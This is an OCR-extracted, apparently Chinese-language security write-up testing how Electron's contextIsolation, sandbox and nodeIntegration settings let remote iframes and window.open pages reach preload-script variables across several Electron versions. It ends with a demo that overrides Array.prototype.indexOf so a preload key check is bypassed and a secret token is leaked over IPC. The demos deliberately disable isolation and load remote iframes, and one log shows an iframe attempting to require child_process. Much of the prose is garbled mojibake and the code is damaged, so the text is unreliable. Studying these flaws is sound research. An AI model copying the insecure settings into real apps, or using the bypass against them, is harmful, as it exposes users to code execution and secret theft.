Saved files to /tmp/electron-fiddle-7771-PMs3roVpVjWw

Electron v29.3.0 started.

Starting inspector on 127.0.0.1:9229 failed: address already in use

[138780:0415/172337.114705: ERROR:browser_main_loop.cc(278)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (va
[138823:0415/172337.354573:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[138823:0415/172337.358546:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[138823:0415/172337.425258: ERROR: gl_surface_presentati

Hello World!

‘We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0.
index.html 12138 —

new number

main.js {app, B = REVEREME

preload.js path = require(

Editors Main Process (main.js)

renderer.js createWindow (

renderer2.js

REEHE

Iy
B Stop =] Console

Saving files to temp directory...

Saved files to /tmp/electron-fiddle-7771-PMs3roVpVjWw

Electron v29.3.0 started.

Starting inspector on 127.0.0.1:9229 failed: address already in use

[138780:0415/172337.114705: ERROR:browser_main_loop.cc(278)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (value)'
[138823:0415/172337.354573 :ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[138823:0415/172337.358546:ERROR: gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[138823:0415/172337.425258 :ERROR: gl_surface_presentati Hello World!

Hello World!

We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0.
[ index.html 12138
10000

O mainjs {app,_ ov z KEMESEHIE

[ preload.js path = require(

[ Editors Main Process (main.js)

sandbox: true #KE\E%;E_I:—FYB%%E’QQ_‘Q%, /D\ﬁ contextIsolation 79 true ETJZI'ﬂ
L

BE 3 MAFENA Y

Electron 29.3 S4t

£ Electron 29.3 ':F', contextIsolation 53\:1@@@:@3%%9&, X7
contextIsolation E,EM@%ET%\%’E, 1&|E$§Bﬁ%.ﬁ?j

260 /H67T]



B4

=

e contextIsolation [REERHIES preload FIEEEMIAAI/LD Electron hRZS
PRI —

e contextIsolation BV ERAZ nodeIntegration  sandbox BI= ﬂr'] x 7 £ T XPE
B SEUERHEIER] LIFKEXFHEEX Preload H window WERMNFEL =, #HITF—
ZHVREF A

0x05 L TFXIREMREE

AEAERP L TXREBRRETERHES preload FMEHMARIER S, ETERIMNEN
H—TFUTEMER (ETX) $HEEER

o EHIE

e Preload
. BRI
e jframe

BN MARMEERALEZD, UMERS—MERRAEZRREBRNESEEHNREES
B, FEtgsEre LEmyIhkNEs), EEXFAME: KISRER iframe BEFREIREX
F|EHIZE. Preload . ERHABERFTHNR. HE TE, MAZERRTH

2. Preload . ERHIZELHEBIAN iframe EBIRANAR

FATFTH nodelntegration , X[ sandbox , FFAIMIKXFF/X contextIsolation B
KA ERBIARIER, ARWOT

BER

g2771/#%67]



FERFS contextIsolation WAl

1 true Preload -> TIHFE
2 true TEIHIE -> FHEE
3 true iframe -> FiHIE

iframet+window.open ->

4 true R
FHE
5 true TEHTE -> Preload
6 true iframe -> Preload
iframe+window.open ->
7 true
Preload
8 true iframe -> 78Z4HIE
iframe+window.open ->
9 frue

BT

iXxE'E contextIsolation /J true E’\J'I‘%EJ ’ QD%UUJ: contextIsolation J false , HB
A 18 MIENR, NRBEMLERRE Electron WRAZEHGNI, AIgERM=E/L+#, FELLFEA]
EBLEEN ¢ MBERET—ITMBERNK, XFLEME—MERT, FHLERNARERTOT

FEFS contextIsolation
1 true
2 false

ﬂ%iﬁ?ﬁ Electron 5.0 « Electron 12.0 . Electron 29.3 ﬁ%']ﬁ?i’,}””ﬁt

FHERAS

main.js

const {app, BrowserWindow} = require('electron')

const path = require('path')

28T /He67]m



const mainVar = "I am from the main process

function createWindow () {

const mainWindow = new BrowserWindow( {
width: 1600,
height: 1200,
webPreferences: {
contextIsolation: false ,
sandbox: false ,

nodelIntegration: true ,

preload: path.join( dirname, 'preload.js')

mainWindow. loadFile('index.html')

mainWindow.webContents.openDevTools ()

app.whenReady().then(() => {
createWindow( )

app.on(‘'activate', function () {

if (BrowserWindow.getAllWindows().length === 0) createWindow()

app.on( 'window-all-closed', function () {

$£29T1 /67T




(process.platform !== 'darwin')

ERHIZMR A

index.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Hello World!</title>

<style>

table {
width: 100%;
border-collapse: collapse;

margin-top: 2rem;

th,

td {
padding: 0.5rem;
text-align: left;

app.quit()

border-bottom: lpx solid #ccc;

th {
background-color: #f£2£f2f2;
font-weight: bold;
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tr:nth-child(even) {
background-color: #£f9f9f9;

.result {
font-family: monospace;
}
</style>
</head>
<body>
<hl>Hello World!</hl>

We are using Node.js <span id="node-version"></span>,

Chromium <span id="chrome-version"></span>,

and Electron <span id="electron-version"></span>.

<table>
<thead>
<tr>
<th>#iR</th>
<th>Z58R</th>
</tr>
</thead>
<tbody>
<tr>
<td>Preload FKENEHBEZEMNERN: </td>
<td class="result" id="preload-to-main"></td>
</tr>
<tr>
<td>BRHERNEHARETENSERN: </ta>
<td class="result" id="renderer-to-main"></td>
</tr>
<tr>
<td>BHHIZIREN Preload TEWHERN: </td>
<td class="result" id="renderer-to-preload"></td>
</tr>
</tbody>
</table>




<script src="./renderer.js"></script>
<iframe src="http://192.168.31.216/1.html" width="800" height="300">
</iframe>
<br>
<iframe src="http://192.168.31.216/2.html"></iframe>
</body>
</html>

renderer. js

window.rendererVar "I am from the renderer process

const renderResult (var_name, ele_id) => {

let result;

if (typeof window[var_name] !== 'undefined' || (typeof global !==

'undefined' && typeof global[var name] !== 'undefined')) {
result = window[var name] !== 'undefined' ? window[var name]
global[var name];
} else {
result = "JTBIERENEE";

document.getElementById(ele id).innerText = result;

let result;

renderResult ("mainVar", "renderer-to-main")

renderResult ("preloadvVar", "renderer-to-preload")
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Founn RN 2s

preload.js

window.preloadVar = "I am from the preload script "

window.addEventListener ('DOMContentLoaded', () => {

const replaceText = (selector, text) => {

const element = document.getElementById(selector)

if (element) element.innerText = text

for (const type of ['chrome', 'node', 'electron']) {

replaceText( S{typel}-version , process.versions[type])

let result;

if (typeof window.mainVar !== 'undefined' || typeof global.mainVar

'undefined') {

result = window.mainVar !== 'undefined' ? window.mainVar

global.mainVar;

} else {
result = "JAREXEE";

document.getElementById("preload-to-main").innerText = result;
})

iframe

ARs52eitt: http://192.168.31.216/

1.html

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">

</head>
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<body>
<div>
<hl>iframe 1.html</hl>
<div>iframe IRENFHIETLTEMERN: <span id="iframe-to-main"></span></div>
<div>iframe 3REY Preload TEMWIHERN: <span id="iframe-to-preload">
</span></div>
<div>iframe JREUVEBRBETLE=MNERN: <span id="iframe-to-renderer"></span>

</div>

<script src="iframe getVars.js"></script>
</div>
</body>
</html>

iframe getVars.js

const renderResult = (var_name, ele id) => {

let result;

if (typeof window[var_name] !== 'undefined' || (typeof global !==

'undefined' && typeof global[var name] !== 'undefined')) {
result = window[var name] !== 'undefined' ? window[var name]
global[var name];
} else {
result = "TOIRRENHE";

document.getElementById(ele id).innerText = result;

renderResult ("mainVar", "iframe-to-main")
renderResult ("preloadvar", "iframe-to-preload")

renderResult ("rendererVar", "iframe-to-renderer")




iframe + window.open

AR5 Ee it http://192.168.31.216/

2.html

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div>
<hl>iframe 2.html</h1>
<script>window.open("http://192.168.31.216/3.html")</script>
</div>
</body>
</html>

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div>
<hl>iframe 3.html</h1l>
<div>iframe + window.open JRENFHEZELTS=MERN: <span id="iframe-window-
open-to-main"></span></div>
<div>iframe + window.open 3KBY Preload T=MZERN: <span id="iframe-
window-open-to-preload"></span></div>
<div>iframe + window.open JREUERHFZLEMNERN: <span id="iframe-

window-open-to-renderer"></span></div>

<script src="iframe window open getVars.]js"></script>
</div>
</body>
</html>
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iframe window open getVars.js

const renderResult = (var name, ele id) => {

let result;

if (typeof window[var name] !== 'undefined' || (typeof global !==

'undefined' && typeof global[var name] !== 'undefined')) {
result = window[var name] !== 'undefined' ? window[var name]
global[var name];
} else {
result = "JTOIERENEE";

document.getElementById(ele id).innerText = result;

renderResult ("mainvVar", "iframe-window-open-to-main")
renderResult ("preloadvar", "iframe-window-open-to-preload")

renderResult ("rendererVar", "iframe-window-open-to-renderer")

Electron 5.0

FE1
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Ee Electronv5.0.0 » Run (3 Console

@ Editors

®

Main Process (main.js)

index.html
main.js &0 don
o path = require('path')
preload js
main 1
renderer.js

renderer2.js createWindow () {
mainWindow = Bro

width: 1600

height: 1200,

webP ces: [
contextIsolation:
andbox ,
nodeIntegration:
preload: path.join

Renderer Process (renderer.js)
window. rend
renderRe
resul’
¢ window[var_|
' &&

Modules

fin
result = wind
: global[var_name];

result;
renderResult("mainvar",

renderResult(

Hello World!

We are using Node.js 12.0.0, Chromium 73.0.3683.119,

am from th

(var_name,

ame]
obal[var_name]
v[var_name]

HTML (index.html)

Chromium id="chrome

and Electron id

uire( electron’)

e mail

Preload REXE#HEBLEH

dirname,

TEFGHIZIAEN Preload

cla ult”
om the ren

ele_ic

‘unde

Preload (preload.js)
window.

window.

replaceText( ${type}-vers

esult;

and Electron 5.0.0.

R

Preload SREREHIZLRBEILER N
TERHIERIEHIRTBAVLER N
SEZHIZIREN Preload TRMLER N

&R
AR
AL

FEREEE

@ Editors

iframe 1.html

index.html

main.js iframe FREXEHIZ L RBILR ). TIERMEE
iframe 3REY Preload TEMLERF: TIARIEE
iframe REVERH BT BNERN: THERNEE

renderer.js

k]
]
[ preload.js
D
]

renderer2.js

iframe 2.html

Modules

contextIsolation jg true

id="

html" width="

2.html"

. ‘DA
process.versions[type])

[% {] Elements Console  Sources  Network  Perfor
html:
-.</head
<. v<body> == $0
h1-Hello World!</hl

We are using Node.js "
span id="node-version'>12.0.0</span

Chromium "
span id="chrome-version">73.0.3683.119</span

and Electron
span id="electron-version">5.0.0</span

» <table>..</table:

<1-- You can also require other files to run in this
script src="./renderer.js"></script

»<iframe src="http://192.168.31.216/1.html" width="800
br-

»<iframe src="http://192.168.31.216/2.htnl">.</iframe

/body:

/html>

iframe 3.html

iframe + window.open SREXEH BT BILER K TARINHEE
iframe + window.open 3REY Preload TRMLER A TIERENEE
iframe + window.open SREUEZHFZ L S|

NERA: TRRMAE

B,

E370H 67

foperties  Access

fls +,

margi

Ylesheet
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%%+ [ Electronv5.00 » Run  [J Console

Editors ® Main Process (main.js)
index.html

{app, Browserhindow}

main.js path = require('path')

preload.js
renderer.js

renderer2.js

width: 1600,

height: 1200,

webPreferences: {
contextIsolation:

sandbox ,

nodeIntegration: ,

preload: path.join(__dirname, 'pre
3

Renderer Process (renderer.js)
window.rendererVar

ult = (var_name, ele_id)
Modules .
window[var_name]
global[var_name] !
= d r_name] !
al[var_name];
1
"FE

result = ifE";

I

document . getElementById(ele_id).innerTes

result;
renderResult("

nainvar",

renderResult("

"rendere;

= result;

HTML (index.html)

Chromium
and Electron

Preload FREXEHZLE|HIL:

class="result" id

TRRIMEH 2T B
‘result" id

Preload

global

' ? window[var_name]

Preload (preload.js)

window. preloadVar

window. addEventLi
replaceTe:

element

(element) element.innerText =

( type of ['chrome’,
replaceText( ${type}-version, p

result;

‘node’,

"preload-to-mai

7

"renderer

tml" width height

document . getElementByI

text

electron']) {
ocess.versions[type])

o [% (] | Elements Console Sources  Network Pe
Hello World! htmt
Saving| » <head>..</head
RCEER We are using Node.js 12.0.0, Chromium 73.0.3683.119, and Electron 5.0.0. o\ = D
Electr h1-Hello World!</hl:
Sl Ve are using Node.js *
Font Hik wa span id="node-version'>12.0.0</span
g B . " Chroniun *
Preload SREX EHIZLBMLERN: T HRINEE span id="chrome-version">73.0.3683.119</span
ERHERIEHETBNERN: T HARIREL and Electron *
span id="electron-version’>5.0.0</span
BHLIHIZIREN Preload TBILER T am from the preload script )
» <tables..</table
% Editors . <1-- You can also require other files to run in th:
iframe 1.html ;
[ index.html idth="¢
D mainjs iframe JRERTHIZLBILER N TERINEE i/ifran
[ preload.js %frame ﬁﬁi‘Zri(‘)ddiésﬁ(Jﬁ?ﬁi'f‘/%?fﬁyﬁfﬁ iframe 3.html
. iframe REVERHIZL BMLER N TERINEE
[ renderer.js
[ renderer2.js iframe + window.open SXEXEHIETLEBMLE RN TIARIHEE /
iframe + window.open 3REX Preload ZEHILER /3. 1am from the preload script
iframe + window.open JREUVEFHIZ T BMLER N TERNEE
iframe 2.html
Modules |
5 A

%4 contextIsolation 18BN false BY

o 75’77&1'5:&*55_[1;(3%“ Perload Q%E"J?S%

e iframe + window.open AJLAFREY Preload T=RHIER

% 38m /67
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ééfid”ﬂu, ED@ sandbox 19%79 true J@T\%ﬂrﬁ] iframe + window.open ﬁﬂy Preload
TEMER

Electron 5.0 24

£ Electron 5.0 ‘:F‘, contextIsolation /I true HT_I', B B MRE i
2. Preload . /BARMHIE. iframe N iframe+window.open BIBIR, 1RIE JavaScript

RNBEFHREDL

contextIsolation A false BY, EZHIER. iframe + window.open # preload R7x
HZ=— window MR, BIRILUAIRIHIEEL preload F window.xxx UK Javascript
REMNZRNAS

Electron 12.0

J File Edit Selection View Go Run Terminal Help & £ Search

Restricted Mode is intended for safe code browsing. Trust this window to enable all features. Manage Learn More

JS mainjs X Is

st > JS mainjs > @ createWindow s > join > Desktop
- window.preloadvar
require('electron’)
path = require( ' = window.addEventListener('DOMContentLoaded’, ()
= t replaceText = (selector, text) =
= "I am from the main pro " c lement = document.getElementById(selector)
ement) element.innerText = text
ction createWindow () {

t mainWindow = ne for (const type of ['c
width: 1600, replaceText (" ${typ
height: 1200,
webPreferences: {

contextIsolation: true let result;

sandbox: fal if (typeof window.mainVar

nodeIntegration: true result = window.mainvar ! ‘undefined’ ? window.mainV:

preload: path.join(__dirname, 'prelc s’ else

*
document.getElementById(“preload-to-main”).innerText = res

mainWindow.loadFile("index.html") 21 })

mainWindow.webContents.openDevTools()

i
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File Edit View Window Help

[® (] | CElements Console  Sources  Network 2
He"o Worldl B O |top v ® | Fiter Default leve
.
» Electron Security Warning (Insecure Resources) VM4_sandbox_t
This renderer process loads resources using insecure
We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0. protocols. This exposes users of this app to unnecessary securi

Consider loading the following resources over HTTPS or FTPS.
- http://192.168.31.216/1.html
- http://192.168.31.216/2.html

fidk
Preload SREVEHTERRAVERA:
BRI EHE T BAYER

For more information and help, consult
https://electronjs.org/docs/tutorial /security.
This warning will not show up

once the app is packaged.

> YMa_sandbox_t
Electron Security Warning (Insecure Content-Security-Policy) This
process has either no Content Security
Policy set or a policy with "unsafe-eval” enabled. This expos
this app to unnecessary security risks.

SESMHFEIREY Preload BEAIERN:

. For more information and help, consult

iframe 1.html https://electronis.org/docs/tutorial /security.
. tpsi//electro

THES Lo Crihl e S ap

once the app is packaged.

iframe SREVEHTETRAVERN: ToARIEE @ secton-soen ; - o0 x
iframe ¥XEY Preload Z-2AIERN: FTiRRIERE = =
iframe JREVESMHTETBAEEA: ToAkEEE Flle Edit View Window Help

iframe 3.html

iframe + window.open JREREHEERIVER N TiFRIEE
iframe + window.open $XBY Preload ZEHEREN: FAKEEE
iframe + window.open SREVEZHERRBIERA: TiARBEE

iframe 2.html

é:ut%’—ﬁ Electron 5.0 7‘7_7% 1 —ﬁ[

) File Edit Selection View Go Run Terminal Help & O Search
Restricted Mode is intended for safe code browsing. Trust this window to enable all features. Manage Learn More
Js mainjs X

C: > Users > join > Desktop > electron-5.0-test > JS main,| @ createWindow > [€] mainWindow > #2 webPreferences > /2 contextlsolation C: > Users > join > Desktop > electron-5.0-test > JS pr
: window.preloadvar = "I am from the

const {app, BrowserWindow} = require(‘electron’)
const path = require('path’) E window.addEventListener(‘DOMContent]
= const replaceText selector, te|
= "I am from the main proce st element = document.getEle|
if (element) element.innerText

createWindow () {

mainWindow = new BrowserWindo! for onst type of ['chrome’,

width: 1600, replaceText (" ${typ
height: 1200,

webPreferences: ﬂ
contextIsolation:

sandbox: N if (t  window.mainvar
nodeIntegration e , result = window.mainVar
preload: path.join(__dirname, ‘preload.js’') else

result

document.getElementById("preload-

mainWindow.loadFile( " ind 21 })

mainWindow.webContents.openDevTools ()
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,
@ tello world! -

File Edit View Window Help

& 4 Elements  Console  Sources  Network > 2
He"o World' Bl © | top v | © | Filter Default levels ¥
.
> electron/js2c/renderer_ini
Electron Security Warning (Insecure Resources) This renderer process
We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0. resources using insecure

protocols. This exposes users of this app to unnecessary security
Consider loading the following resources over HTTPS or FTPS.
- http://192.168.31.216/1.html

" - http://192.168.31.216/2.html
i ©R
SRRy S R R (4 B S - e For more information and help, consult
Preload FRERE TR BAVAR: i i https://electronjs.org/docs/tutorial/security.
This warning will not show up
ISR TR RS R N TR once the app is packaged.
> electron/js2c/renderer_ini
SESUHTEIRAY Preload TRAVERS: I am from the preload script Electron Security Warning (Insecure Content-Security-Policy) This re

process has either no Content Security
Policy set or a policy with "unsafe-eval” enabled. This exposes

this app to unnecessary security risks.

iframe 1.html 5 —— e

- [tutorial/security.

File Edit View Window Help E
iframe SRENEHTZLRAVER N : FTAREE
iframe 3XEY Preload ZEAIERA: TiFREEE .
iframe SREVEIEEBIVERS: ToRABIRIE iframe 3.html

iframe + window.open SREVEHETEMNERA: TIARIEE
iframe + window.open $XEX Preload ZZ2/945R 4 : | am from the preload script
iframe + window.open JXEUERHTERRBMNER N TEANEE

iframe 2.html

Electron 12.0 B4

£ Electron 12.0 1, contextIsolation J true B, BJLUBENIFS FEiH

F2. Preload . JEFHIZE. iframe N iframe+window.open BiEIE, 1RIF JavaScript

RNBETHEDL

|
G

contextIsolation A false Eﬂ', p HIEN iframe + window.open # pPreload RiZs
HZ—4 window MR, BIRILUARIHELL preload H window.xxx LK JavaScript
NEXNRIAS

Electron 29.3

FE1

FEam/He7:n



£+ [ Electron v29.3.0

& Editors
[ index.html
B mainjs
[ preload.js
[ renderer.js

[ renderer2.js

Modules

[377091:

js (1)

[377091:

js (1)

[377091:

js (1)

Editors
index.html
main.js
preload.js
renderer.js

renderer2.js

Modules

» Run [2] Console

@ Main Process (main.js)

{app, B
path = require('path')

o 00 0

]

createWindow () {

mainWindow =
: 1600,
1200,
webPreferences: [
contextIsolation:
sandb ,
nodeIntegration

am from the

html.

charset="UTF-8"

Hello World!

{
width: 100%;
border-collapse:
margin-top: 2r

preload: path.join(__dirname, 'pre

i

mainWindow.loadFile( i .html')

mainWindow.webContents.openDevTools()

b

Renderer Process (renderer.js)

border-bottom: 1px solid #ccc;

{
background-color
font-weight: bold;

( ) L
background-color: #f9f9f9;

window.rendererVar = "I am from the renderer

renderResult = (var_name, ele_id)

result;

( window[var_name] !=
global[var_name]
result = window[var_name]

‘undefined' &&

: global[var_name];
i {
result = ' EREE";
i

font-family: mo

Preload (preload.

? window[var_name] reload (preload,s)
window.preloadVar

window.addEventListener|(|'DO e 0
replaceText = (selector, te: => {

{
document.getElementById(ele_id).innerText = result; element document.getElementById(selector)

(element) element.innerText = text

( type . e', ' ! ' A
replaceText( ${type} ions[typel)

(© DevTools is now available in Chinese!

Always match Chrome's language J Switct

Console

Fi::p
Preload SREXEHIZ T RBILER A
ERHERNEHETENER:

TERHFZIREY Preload TEMLERA:

&R

<h1>Hello World!</h1>
ToAREVEE " We are using Node
FoEREVEE

FRRENEE

iframe 1.html

iframe SREXREHIZLEBMER 7 TARINEE
iframe REYX Preload TEMLERA: TERIMEE
iframe REVERHIZL RIVLER N TERWEE

iframe 2.html

iframe 3.html

iframe + window.open SREY EHIZT2MLER 7 TARNEE
iframe + window.open 3RBY Preload T2MERN: TEKMEE
iframe + window.open SREUERHIZEBIER N TARINEE

Electron 29.3 AX | SHMRAMNAE 1 E—K
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o] Electronv29.3.0 » Run [ Console

Editors (O Main Process (main.js)

index.html
main.js
preload.js
renderer.js

renderer2.js

{app, BrowserWi
path = require(

ndo require('electron’

mainVa
createWindow () {

mainWindow =

width: 1600,
height: 1200,
webPreferences: {{

contextIsolation:
sandbox : .
nodeIntegration:

preload: path.

oin(__¢

)

HTML (index.html)

charset="UTF
Hello World!

{
width: 100%;
border-collapse
margin-top: 2r

{
{

padding: 0.5rem;

text-align: le

i : border-bottom: 1px solid #ccc;

b

{
background-color: #f2f2f2;
font-weight: ;

mainwWindow.loadFile('index.html")

mainWindow.webContents.openDevTools()
+ (
background-color: #f9f9f9;

Modules

Renderer Process (renderer.js)

window.rendererVar = "I from the renderer p
{
renderResult = (var_name, ele_id) => { font-family: mono
result;
( window[var_name] ! undefined' || ( global !
‘undefined' && global[var_name] ‘undefined')) {
result = window[var_name] ! fined' ? window[var_name]
: global[var_name];
¥ q window.preloadvar = "I am from the prel.
result = "
H window.addEventListener|(|' DON ntl
replaceText = (selector, text)
document .getElementById(ele_id).innerText = result; element = document.getElementById(selector)

(element) element.innerText = text

Preload (preload.js)

result; ( type [ g tron']) {
replaceText( ${type}- n", process.versions[type])

renderResult("mainV

(® DevTools is now available in Chini

Always match Chrome's language J Switch DevTools to Chinese

Console Sources Network ~ >>

Hello World!

We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0.

R &R

Preload FREXF HIZLBHILR A FTHREEE e
N . - S .  Chromiun *
HIZRINEH BT BAVER A TR E ide

, and Electron "
<span id="electron-versior

TEZHFZIREN Preload ZTRMLERH:

I am from the preload script

table>@</table

-~ You can also require other files to run in thi

iframe 1.html Sscript src=,renderer. js></scri

iframe IR SIS T BT : TERIEE : : -
iframe FXKEX Preload TEMLER N TERIEE
iframe EVERSHET BIVERY: TRRIEE
iframe 3.html

iframe + window.open SREXEHTZ T BIVER N TIERMEE /
iframe + window.open 3KBX Preload T2MLER 7 TARINEE

iframe + window.open SREUERHIZTEBILER A TERNHEE

iframe 2.html

tListeners DOM B

i
o

XEMA—ET, ﬂ*%1ﬁ?*ﬂLlﬁHYIﬂ*§§%/ﬁ%, M iframe + window.open X
TRTCEIRENE] Preload FIART

4371/ 671
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Electron 29.3 &4t

£ Electron 29.3 ':F', contextIsolation /J true ETJ, B UBEMIRE £i#
2. Preload . BARMHIE. iframe N iframe+window.open HIEIR, fRIE JavaScript

RBETHEDL

o 3
=]

contextIsolation /J false ET_I', 7_’7%&*5*ﬂ Preload Hﬂ]ZlK-,tE?—/I\ window S(T_I'%, B
A LUIARIHIB Preload H window.xxx AN Javascript NEWNRBIANA

window.open kRZs (&S i

¥R F—FRXE, window.open HVAJEETE Electron 14.0 FEER, FRUFEATENNIR—
TETFTXRERAEHE 14.0 FHERH

W Stop 3] Console

Saving €iles to temp directory...

Hello World! /
‘We are using Node.js 14.16.0, Chromium 91.0.4472.164, and Electron 13.6.9.

R “R
(¥ Preload SREREHIELBILRN: TARENEL
BRI IR BNE RN FAFERE
I; i SERHIZIRAN Preload TEMLERN: I am from the preload script
pre
[ rern
M  iframe 1.html

iframe SREXEHIBLBIER S THRINAEE .

iframe FRBR Preload ERAVERN: TAFIELIA iframe 3.html

iframe FEVERHEERNERY: TARIEIA /
iframe + window.open SREREH IR T RBNLER K. TARNEE
iframe + window.open 3RBY Preload ZEEHILER 77 1 am from the preload script

iframe + window.open SREUERHIZL EMLERN . TERNEE

Modules

iframe 2.html

FA4TI [ H 67T



| Stop 3] Console

Hello World!

We are using Node.js 14.17.0, Chromium 93.0.4577.58, and Electron 14.0.0.

R “R
& Edit Preload SRENEHB T ENERRA: FHRREEE
[ ind P EESTT SR E SR Ly i LW AR
R SR Prelond TRIVERK: I am from the preload script
[ prel}
O ren

o B iframe 1.html

iframe FREREHIBLBNER N TERNEE
iframe 3REX Preload ZERHILER N FTRRWMEE
iframe REVERHAIZL BILER N THERIEE

iframe 3.html

iframe + window.open SREXEHZTBMLER N TERNEE
iframe + window.open 3REX Preload TEBMLERF: FTiFRINEE
iframe + window.open SREUERHIZ T BMLER N TARIMEE

Modules

iframe 2.html

MSETE 14.0.0 FHTTIEE

window.open sandbox jllix

t_%ﬁﬂ\]kfm window.open ﬂ«‘i?ﬂl&(é%ﬁ sandbox ﬁ'ﬁ/‘k 6.0 ﬂ:yﬁ\; sandbox FE
Eq) Preload HiﬂZ!KﬁtRﬁE#Lﬁﬁf‘E%UE’\J NodedS

WMRBADEZFE— 6.0 ~ 14.0 ZIBJIRAEEY Electron , Preload RIZASH; require HiE
£ window b, #@d iframe + window.open S2ARREELY sandbox PREIHITRER
NodeJds fUES

3, RBE RIS
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@ Electron Fiddle - Unsaved

File Edit View Window Tasks Show Me Help

B Stop [ Console

Saved files to C:\Users\join\AppData\Local\Temp\electron-fiddle-5500-CkAV13G2BiIN
Electron v13.0.0 started.

Electron exited with code ©. @ Hello world!
Saving files to temp directory... File Edit View Window Help

Saved files to C:\Users\join\AppData\
Hello World!

Electron v13.0.0 started.
e Editors Main Process (main.js) We are using Node.js 14.16.0, Chromium 91.0.4472.69, and Electron 13.0.0.

[ index.html

[ mainjs ifra me Z.html

[ preloadjs

q 0 voiceless-frog-delight-3ebkn

[ rendererjs
File Edit View Window Help

[w ﬂ Elements Console Sources Network > 0143 e X

ifra me (IO topY | © Filter Default levels ¥ No Issues ¢

© Uncaught Error: module not found: electron/js2c/sandbox_bundle.js:129

3 h I child_process
. tm at preloadRequire (electron/js2c/sandbox_bundle.js:129)
at window.diyRequire (<anonymous>:21:12)
at 1.js:4
» electron/js2c/sandbox_bundle.js:89
Modules Electron Security Warning (Insecure Resources) This renderer process loads
resources using insecure
protocols. This exposes users of this app to unnecessary security risks.
Consider loading the following resources over HTTPS or FTPS.
- http://192.168.31.216/1.]js

For more information and help, consult
https://electronjs.org/docs/tutorial/security.
This warning will not show up

once the app is packaged.

¥ ; e
» electron/js2c/sandbox_bundle.js:89 en_module.index0Of (module name) !==

Electron Security Warning (enableRemoteModule) This renderer process has
"enableRemoteModule" enabled

R RBENG

T:I_: Electron ‘:F‘, contextIsolation 79 true HT_T, EJL)LE%ZI‘%%TIJ&E\ Preload . 75
Je#HFE. iframe M iframe+window. open BY1E iﬁ: {RIE JavaScript |7§| T?}i%ﬂﬂl

contextIsolation /) false ETJ', /El7|< HIZH preload Hr’&llzlx,\é—ﬁ\ window ﬂ'%> B
TERHFZ R LUA R HIZR Preload F window.xxx UM Javascript HENRMAR

T:E Electron 14.0.0 'ﬁﬁ iframe + window.open E_[L)(iﬁl\ﬂijiﬁu ‘;E *£_$¥E’Jx‘ﬂ%

(ELEENIEIES 27 pus (I
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Electron12.0 B

contextlisolation

Electron 12.0 Electron 140 A5

'fXT contextlsolation: false |
|H1/E| T2 ]38 Preload | i

REEARIE? XARZHEMIT Nodess 1
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1. FRRE
BATHRIVMRE SRR EEE
1) ERHE

EABEX TR “EF7, HF—MNREIEHMRNE, —TREIRED KR
B RohSERRY

RELHAFPRIHIIAR key HHATR, ITmETHBLEEE, RNBZER

St
B
=
E |
)
3

main.js

const {app, BrowserWindow, ipcMain} = require('electron')

const path = require('path')

const secret token = "YFYYFnxTdTzJdnlPGvsbSHJqukPLYzgmKoEJcXdjOWsQ"

function createWindow () {

const mainWindow = new BrowserWindow( {
width: ,
height:

FATTI/HG67]



webPreferences: {
contextIsolation: false ,
sandbox: true ,
nodeIntegration: false ,

preload: path.join( dirname, 'preload.js')

mainWindow.loadFile('index.html')

mainWindow.webContents.openDevTools ()

app.whenReady () .then(() => {

ipcMain.handle('normal', () => { return "no permission" })

ipcMain.handle( 'invisible', () => { return secret token })

createWindow ()

app.on('activate', function () {

if (BrowserWindow.getAllWindows().length === 0) createWindow()

app.on( 'window-all-closed', function () {

(process.platform !== 'darwin') app.quit()
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preload. js

const { ipcRenderer } = require('electron')

const keys = ["P@sswOrd", "6KataXdP98", "bLtW4C6BJd", "vpaAmdQlDF"]

window.addEventListener ('DOMContentLoaded', () => {
const replaceText = (selector, text) => {
const element = document.getElementById(selector)

if (element) element.innerText = text

for (const type of ['chrome', 'node', 'electron']) {

replaceText( $S{type}-version , process.versions[type])
})

window.getResult = (user input) => {
if (keys.indexOf (user input) !== -1) {
return ipcRenderer.invoke('invisible')

} else {

return ipcRenderer.invoke( 'normal')

renderer. js

FA49T /67T




Array.prototype.indexOf

return 1

window.getResult("pass").then((result) => {

let element = document.getElementById('show-result');
element.innerText = "Result is: S${result}’

element.style.textDecoration = 'underline';

index.html

<!DOCTYPE html>
<html>
<head>

<meta charset="UTF-8">

<meta http-equiv="Content-Security-Policy" content="default-src
script-src 'self'; style-src 'self' 'unsafe-inline'">

<link href="./styles.css" rel="stylesheet">
<title>Hello World!</title>

</head>

<body>
<hl>Hello World!</hl>
We are using Node.js <span id="node-version"></span>,
Chromium <span id="chrome-version"></span>,
and Electron <span id="electron-version"></span>.
<br>
<br>

<h2 id='show-result'></h2>

<script src="./renderer.js"></script>
</body>
</html>
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EREERT, FMAFERRER, BtHRMNIAREFTNRERZIANS, ZERTEETIT

Hello World!
File Edit View Window Help
@ DevTools is now available in Chine;
Hello World! g
We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0. iR T
Result is: no permission -y o

o World!</h1>

We are using Node.js "
<span id n

BIMEERE LI, ZIEFXAT nodeIntegration FHEHRBT sandbox , BB
BLTXFEE, Electron FRZANA 29.3.0

9€I7HT contextIsolation E, ﬁ%‘%%?ﬁ%ﬁ&%ﬂﬁhﬂﬁﬂfm,itﬁﬁ—’M:'FS(, Eﬂ
window , F(TRIARIN, FIKTE(IANPERY S AHBIE Array.prototype.index0f() , LA
I RFBFFRATIR Y key B EIAAF

